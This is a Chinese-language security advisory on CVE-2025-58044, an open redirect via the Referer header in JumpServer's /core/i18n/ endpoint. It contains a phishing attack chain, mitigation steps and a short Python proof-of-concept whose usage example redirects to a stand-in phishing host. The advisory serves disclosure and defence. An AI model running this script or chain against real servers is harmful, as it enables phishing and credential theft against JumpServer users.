IPBUF安全漏洞报告
English
CVE-2025-58044 CVSS 6.1 中危

JumpServer开放重定向漏洞 (CVE-2025-58044)

披露日期: 2025-12-01

漏洞信息

漏洞编号
CVE-2025-58044
漏洞类型
开放重定向
CVSS评分
6.1 中危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
需要交互 (UI:R)
影响产品
JumpServer

相关标签

开放重定向JumpServer堡垒机CVE-2025-58044安全审计Referer头钓鱼攻击Web安全

漏洞概述

JumpServer是一款开源的堡垒机系统,主要用于对运维操作进行安全审计和访问控制。该系统被广泛应用于企业内网环境,作为运维人员访问服务器和数据库的统一入口。2025年12月1日披露的安全漏洞显示,在JumpServer v3.10.19和v4.10.5之前的版本中,存在一处开放重定向(Open Redirect)安全缺陷。漏洞位于/core/i18n/接口端点,该端点在处理国际化请求时,会读取HTTP请求头中的Referer字段作为页面重定向的目标地址,但未对Referer值进行充分的安全验证。攻击者可以通过构造恶意的Referer头,诱导用户浏览器跳转到任意外部网站,实施钓鱼攻击、窃取敏感信息或传播恶意软件。由于JumpServer通常部署在企业内部网络,攻击者利用此漏洞可以伪造看似可信的登录页面或操作界面,欺骗运维人员输入凭据或执行危险操作,从而突破企业的安全边界。该漏洞的CVSS评分为6.1,属于中等严重程度,主要风险在于用户交互和社会工程学攻击。

技术细节

漏洞存在于JumpServer的国际化(i18n)模块中的/core/i18n/端点。该端点原本用于处理多语言切换和本地化资源加载功能,其实现逻辑中包含了一个重定向机制,用于将用户从当前页面引导到指定的目标地址。问题出在实现重定向时,程序直接信任并使用了HTTP请求头中的Referer字段值,而没有对Referer进行URL格式验证或域名白名单校验。攻击者可以构造如下请求:发送一个指向JumpServer服务器的请求,并设置Referer头为精心选择的外部恶意网站URL。当服务器处理/core/i18n/请求时,会将用户重定向到Referer指定的地址。由于重定向发生在JumpServer的域名下,用户可能会误以为目标页面仍然可信。这种攻击方式可以配合钓鱼邮件或恶意链接使用,当运维人员访问看似正常的JumpServer链接时,实际上会被重定向到攻击者控制的钓鱼网站。此外,攻击者还可以利用此漏洞绕过某些安全检测,因为浏览器的Referer头在某些情况下会自动携带,增加了攻击的隐蔽性。修复方案是在v3.10.19和v4.10.5版本中对Referer头进行严格验证,或使用服务器端配置的固定重定向目标。

攻击链分析

STEP 1
步骤1
攻击者搭建钓鱼网站或恶意页面,用于收集受害者的凭据或传播恶意内容
STEP 2
步骤2
攻击者构造包含恶意Referer头的HTTP请求,指向目标JumpServer服务器的/core/i18n/端点
STEP 3
步骤3
攻击者通过钓鱼邮件、即时通讯或社交工程等方式诱导目标用户点击恶意链接
STEP 4
步骤4
用户浏览器发送请求到JumpServer服务器,Referer头自动携带攻击者指定的恶意URL
STEP 5
步骤5
JumpServer /core/i18n/端点未验证Referer头,直接将用户重定向到攻击者控制的外部网站
STEP 6
步骤6
用户在可信域名下被重定向到钓鱼页面,可能被诱骗输入凭据或下载恶意软件

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import sys def exploit_open_redirect(target_url, redirect_target): """ PoC for CVE-2025-58044: JumpServer Open Redirect Vulnerability Args: target_url: Base URL of vulnerable JumpServer instance redirect_target: Malicious URL to redirect victims to Returns: Response headers showing the redirect """ endpoint = f"{target_url.rstrip('/')}/core/i18n/" headers = { 'Referer': redirect_target, 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36' } try: response = requests.get(endpoint, headers=headers, allow_redirects=False, timeout=10) print(f"[*] Target: {endpoint}") print(f"[*] Malicious Referer: {redirect_target}") print(f"[*] Status Code: {response.status_code}") if 'Location' in response.headers: print(f"[*] Redirect Location: {response.headers['Location']}") if redirect_target in response.headers.get('Location', ''): print("[!] VULNERABLE: Open redirect confirmed!") return True print("[-] No open redirect detected") return False except requests.exceptions.RequestException as e: print(f"[-] Error: {e}") return False if __name__ == "__main__": if len(sys.argv) != 3: print(f"Usage: python {sys.argv[0]} <target_url> <redirect_url>") print(f"Example: python {sys.argv[0]} https://jumpserver.example.com https://evil.attacker.com/phishing") sys.exit(1) exploit_open_redirect(sys.argv[1], sys.argv[2])

影响范围

JumpServer < v3.10.19
JumpServer < v4.10.5

防御指南

临时缓解措施
在官方补丁发布之前,建议采取以下临时缓解措施:1) 通过网络层访问控制限制对/core/i18n/端点的访问,仅允许受信任的IP访问;2) 在反向代理层(如Nginx)配置规则,拒绝Referer头指向外部域名的请求;3) 启用严格的安全策略,配置X-Frame-Options和Content-Security-Policy响应头;4) 加强员工安全意识培训,提醒运维人员警惕来自邮件或即时通讯的钓鱼链接;5) 启用登录告警机制,当检测到异常登录行为时及时通知管理员;6) 定期审计访问日志,关注异常的Referer值和重定向行为。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表